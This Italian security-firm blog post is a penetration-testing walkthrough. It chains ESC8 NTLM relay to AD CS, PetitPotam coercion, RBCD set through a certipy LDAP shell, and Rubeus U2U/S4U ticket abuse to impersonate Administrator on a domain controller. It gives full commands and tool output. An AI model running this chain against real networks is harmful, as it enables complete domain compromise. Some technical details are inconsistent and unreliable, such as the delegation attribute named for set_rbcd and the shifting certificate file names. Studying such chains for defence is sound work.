Effettuare attacchi NTLM relay verso AD CS in scenari ESC8 sfruttando RBCD
AD CS (Active Directory Certificate Services) è spesso percepito come un componente infrastrutturale secondario, ma in realtà può rappresentare una superficie di attacco estremamente critica in ambienti Active Directory. In particolare, lo scenario ESC8 consente di sfruttare gli endpoint web di enrollment per eseguire attacchi di NTLM relay e ottenere certificati validi per l’autenticazione di dominio.
In questo articolo analizzo una catena di attacco end-to-end che combina relay verso AD CS, coercizione dell’autenticazione tramite PetitPotam e abuso di Resource-Based Constrained Delegation (RBCD). Vi mostrerò come queste tecniche possano essere concatenate per arrivare all’impersonificazione di account privilegiati e alla compromissione del Domain Controller, approfondendo anche il ruolo di U2U e S4U nelle fasi finali dell’attacco.
Background tecnico su ESC8 e RBCD
ESC8 e gli attacchi NTLM relay contro AD CS
Nella ricerca “Certified Pre-Owned” pubblicata nel blog di SpecterOps, ESC8 (Active Directory Certificate Services Escalation Scenario) identifica lo scenario in cui gli endpoint HTTP dei servizi di certificazione per Active Directory (Active Directory Certificate Services, abbreviato AD CS) risultano esposti ad attacchi noti come NTLM relay. In pratica, se l’infrastruttura di enrollment via web è presente e non adeguatamente protetta, un’autenticazione NTLM può essere inoltrata verso AD CS per ottenere un certificato utilizzabile nell’autenticazione di dominio. SpecterOps definisce infatti ESC8 come “NTLM Relay to AD CS HTTP Endpoints”.
Il punto critico è che AD CS, in questo scenario, non è più solo una PKI interna, ma diventa una vera e propria superficie d’identità. Un certificato emesso in modo improprio può assumere un valore operativo molto vicino a quello di una credenziale privilegiata, soprattutto se il template e il contesto di autenticazione lo consentono. Questa interpretazione è coerente con l’analisi di SpecterOps sull’impatto degli abusi AD CS.
Microsoft ha inoltre pubblicato indicazioni specifiche per la mitigazione dei relay NTLM verso AD CS, chiarendo che scenari come PetitPotam rientrano nella più ampia classe di attacchi NTLM relay contro AD CS.
Il ruolo di RBCD nell’attacco contro AD CS
Resource-Based Constrained Delegation (RBCD) è un meccanismo Kerberos in cui la facoltà di delegare non viene configurata lato account “delegante”, ma lato risorsa di destinazione.
Il fulcro tecnico è l’attributo Active Directory ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity, usato per determinare quali principal possano agire per conto di altre identità verso un determinato servizio. Microsoft lo documenta esplicitamente come l’attributo impiegato per queste verifiche di accesso.
Dal punto di vista difensivo, RBCD è estremamente rilevante perché sposta il problema sul controllo dell’oggetto target: se un attore riesce a modificare l’attributo corretto su una macchina o su un servizio, può creare le condizioni per impersonare Kerberos verso quella risorsa. Anche fonti tecniche indipendenti descrivono l’abuso RBCD proprio come manipolazione dell’attributo delega sul target object.
Per questo motivo, RBCD non va visto solo come una feature Kerberos avanzata, ma come un moltiplicatore di impatto quando si combina con altri vettori che consentono di ottenere una nuova identità valida o il controllo di un principal di macchina.
Come eseguire l’attacco NTLM relay
Identificazione della superficie AD CS e dei prerequisiti
La prima fase consiste nell’individuare se:
- l’ambiente espone endpoint HTTP di enrollment AD CS,
- la configurazione è compatibile con scenari ESC8 e
- se esistono template o percorsi di enrollment che possono produrre certificati utili all’autenticazione.
La ricerca “Certified Pre-Owned” (citata all’inizio di questo articolo) colloca esattamente qui il cuore di ESC8: la combinazione tra enrollment via HTTP e relay NTLM.
Il comando indicato di seguito sfrutta il tool certipy per individuare la certification authority (CA) e vedere se l’endpoint HTTP `/certsrv` è attivo, condizione necessaria.
$ certipy find -u user@domain.local -p password -dc-ip <IP_DC> -vulnerable
Il flag `-vulnerable` filtra i risultati mostrando solo i template che presentano configurazioni errate note (ESC1, ESC8, ecc.) e che soddisfino i requisiti necessari per lo sfruttamento. In questo caso, oltre ad avere web enrollment attivo, è necessario che Extended Protection for Authentication (EPA) debba essere disabilitato (impostato su False), in quanto rimuove uno strato critico di protezione contro richieste non autorizzate. Quando queste due condizioni coesistono (web enrollment attivo ed EPA disabilitato), un attaccante in grado di creare o compromettere un account macchina può richiedere un certificato attraverso l’interfaccia web e successivamente sfruttarla per autenticarsi con privilegi elevati.
Di seguito riporto l’output dell’invocazione del comando certipy scritto prima, ma redatto per privacy.
<redacted> [!] Vulnerabilities ESC8 : Web Enrollment is enabled over HTTPS and Channel Binding is disabled. <redacted> Web Enrollment HTTP Enabled : False HTTPS Enabled : True Channel Binding (EPA) : False <redacted>
Esecuzione di azioni di coercizione con PetitPotam
A questo punto, bisogna fare da tramite e inoltrare richieste valide verso AD CS. A tal fine, sfrutto i due tool ntlmrelayx e PetitPotam.
PetitPotam serve per forzare il server target (per esempio `DC01$`) a interagire con una macchina arbitraria sfruttando la funzione `EfsRpcOpenFileRaw` del protocollo `MS-EFSRPC`. Nell’effettuare l’interazione, il target invierà il suo hash NTLMv2 dell’account macchina che utilizzerò per costruire delle Certificate Signing Request verso AD CS.
Di seguito, il comando per invocare PetitPotam per il caso d’uso:
$ python3 PetitPotam.py <IP_ATTACCANTE> <IP_TARGET_DC>
E l’output del comando:
[-] Connecting to ncacn_np:10.0.102.12[\PIPE\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! [+] OK! Using unpatched function! [-] Sending EfsRpcEncryptFileSrv! [+] Got expected ERROR_BAD_NETPATH exception!! [+] Attack worked!
Come si può notare, sebbene la funzione principale `EfsRpcOpenFileRaw` fosse patchata, PetitPotam è riuscito a scatenare la coercizione dell’autenticazione usando una funzione alternativa `EfsRpcEncryptFileSrv`.
ntlmrelayx: relay e ottenimento del certificato
Mentre il target prova ad autenticarsi, `ntlmrelayx` intercetta i pacchetti e li inoltra alla CA, richiedendo un certificato per il computer target:
$ ntlmrelayx.py -t http://<IP_CA>/certsrv/certfnsh.asp -smb2support --adcs --template <Target_Template>
Come prima, riporto l’output modificato per ragioni di privacy:
[*] (SMB): Received connection from <DC_IP>, attacking target https://<ADCS>.domain.local [*] HTTP server returned error code 200, treating as a successful login [*] (SMB): Authenticating connection from DOMAIN.LOCAL/DC$@<DC_IP> against https://<ADCS>.domain.local SUCCEED [1] [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Generating CSR ... [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → CSR generated! [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Getting certificate ... [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → GOT CERTIFICATE! ID 4984 [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Writing PKCS#12 certificate to ./DC.pfx [*] https://DOMAIN.LOCAL/DC$@<ADCS>.domain.local → Certificate successfully written to file
_Output:_ Salviamo il certificato ottenuto (per esempio `dc.pfx`).
Aggirare MachineAccountQuota: LDAP Shell via certipy
Dato che `MachineAccountQuota = 0`, non è possibile creare un nuovo computer. Userò quindi il certificato appena ottenuto per autenticarmi come il computer target stesso e modificare i suoi attributi tramite una shell LDAP:
$ certipy auth -pfx dc01.pfx -dc-ip <DC_IP> -ldap-shell
Spiego il significato dei due flag nel comando:
- `-pfx`: permette di utilizzare il certificato ottenuto per autenticarsi via Kerberos;
- `-ldap-shell`: permette di aprire una console interattiva per modificare gli oggetti in AD tramite LDAP.
Una volta dentro la shell LDAP di certipy, abbiamo il controllo sull’oggetto computer del target.
Abilitazione di RBCD all’interno della shell LDAP
In questo scenario, se possiedi già un altro account macchina o ne comprometti uno esistente, puoi delegare i permessi a quest’ultimo.
Dalla shell LDAP, utilizzo il seguentel comando per configurare la delega:
# Nella shell ldap di certipy
set_rbcd <Target_Computer$> <Attacker_Controlled_User$>
Questo comando scrive il SID dell’account controllato nell’attributo `ms-DS-Allowed-To-Delegate-To` del target.
Il trigger SPN-less: RBCD su utenti senza SPN
Nel momento in cui ho configurato RBCD tramite la shell LDAP di certipy puntando a un utente comune (poiché non è possibile creare un nuovo account macchina), ci si scontra con un limite del protocollo Kerberos: la delega standard richiede che l’account delegato abbia un Service Principal Name (SPN). Un utente normale non ce l’ha.
Poiché ho usato un utente normale (senza SPN), Kerberos fallirà nel cifrare i ticket di delega. Qui entra in gioco il bug trovato da James Forshaw che funge da vero e proprio “trigger” per forzare la delega.
Allineamento tra session key e hash
In un flusso normale, quando si chiede un ticket per un servizio (per esempio `CIFS/DC01`), il Key Distribution Center (KDC) cifra la parte finale del ticket (il service ticket) usando l’hash della password del servizio target. Se il target è un utente normale (senza SPN), il KDC non sa quale chiave usare per cifrare quel ticket e la richiesta fallisce.
La soluzione User-to-User
L’autenticazione U2U è un’estensione del protocollo Kerberos utilizzata quando un client deve autenticarsi presso un servizio che non dispone di una chiave a lungo termine. Invece di usare una password statica per cifrare il ticket, U2U utilizza una chiave temporanea: la session key del Ticket Granting Ticket (TGT) dell’utente target.
In pratica, il mittente dice al KDC: “Non cifrare il ticket con la password del destinatario, ma usa la chiave che è già presente nel suo TGT attivo”.
Ottenimento del TGT e della session key
Tramite il tool rubeus richiedo un TGT per l’utente che ho autorizzato alla delega nella fase precedente. È fondamentale estrarre la session key del TGT con il comando seguente:
C:\> Rubeus.exe asktgt /user:UserControllato /password:PasswordAttuale /outfile:tgt.kirbi /show
Cambio Password
Ora è necessario impostare l’Hash NT dell’utente affinché sia identico alla TGT session key appena ottenuta. Questo passaggio “rompe” l’account per il login normale ma abilita il meccanismo di delega. Di seguito il comando:
PS C:\> Set-UserPasswordHash -User "UserControllato" -NewHash "SESSION_KEY_DEL_TGT"
Abuso di U2U (User-to-User) e S4U
Con l’hash allineato alla session key, uso l’estensione U2U (User-to-User). Poiché la chiave che il KDC userebbe per cifrare è nota, posso istruire il sistema a emettere un ticket a nome di `Administrator`.
Ecco i passaggi che avvengono “sotto il cofano” quando si esegue il comando `Rubeus s4u /u2u`:
- Presentazione del TGT target: L’attaccante invia al KDC il TGT dell’utente “sacrificale” (quello abilitato alla RBCD). Questo serve al KDC per estrarre la session key corretta.
- Richiesta TGS (S4U2self): L’attaccante chiede un ticket per sé stesso (l’utente sacrificale) a nome dell’Administrator. Grazie al flag U2U, il KDC cifra questo ticket usando la session key del TGT fornito al punto 1.
- Conoscenza della chiave: Poiché l’attaccante ha estratto la session key dal TGT (o l’ha impostata uguale all’hash della password tramite il “trigger”), può decifrare e manipolare quel ticket.
- S4U2proxy: Ora che ha un ticket valido (grazie a U2U), l’attaccante può procedere con la delega vincolata verso il server finale (DC01).
Eseguo il tutto in un unico comando che sfrutta la chiave di sessione estratta per “chiudere” il cerchio della delega:
PS C:\> Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /msdsspn:cifs/DC01.domain.local /u2u /key:SESSION_KEY /ptt
Spiego i flag usati nel comando:
- `s4u` permette di eseguite i passaggi Service for User S4U2self e S4U2proxy;
- `/impersonateuser:Administrator` è utilizzato per specificare l’identità che si vuole assumere;
- `/msdsspn` indica il servizio al quale si vuole accedere (`cifs` per i file, `ldap` per i dati);
- `/u2u` serve per dire a Kerberos “Non usare la chiave del servizio che non esiste in quanto lo user non ha SPN, usa la session key”;
- `/key` è la session key del punto precedente che ora coincide con l’hash dell’utente;
- `/ptt` (Pass-the-Ticket) utile per iniettare il ticket nella sessione corrente.
Finalmente ora posso eseguire questo ultimo comando:
PS C:\> ls \\DC01\C$
# O usare psexec/wmiexec per ottenere una shell come SYSTEM
Conclusioni
L’abuso delle tecniche presentate in questo articolo dimostra chiaramente come la complessità intrinseca di un ambiente Active Directory nasconda percorsi di attacco spesso invisibili, capaci di portare alla compromissione totale del dominio. Non si tratta solo di exploit legati a bug software, ma della manipolazione strategica di protocolli e funzionalità nate per essere legittime.
La catena che lega l’interscambio tra ESC8 e le estensioni S4U in un attacco RBCD mette in luce una verità fondamentale: in una rete moderna, la sicurezza non è definita solo dalle patch installate, ma dalla gestione delle relazioni di fiducia tra gli oggetti.
In Betrusted, ci impegniamo a fare luce su queste catene subdole e silenziose, identificando e neutralizzando i vettori di escalation prima che attori malevoli possano trasformare una configurazione standard in un punto di ingresso fatale. La nostra missione è fornire ai nostri clienti la profondità di analisi necessaria per anticipare l’avversario, sostituendo all’incertezza della complessità una strategia di difesa basata sulla conoscenza granulare dei protocolli e dei privilegi.
Scopri come possiamo aiutarti
Troviamo insieme le soluzioni più adatte per affrontare le sfide che ogni giorno la tua impresa è chiamata ad affrontare.


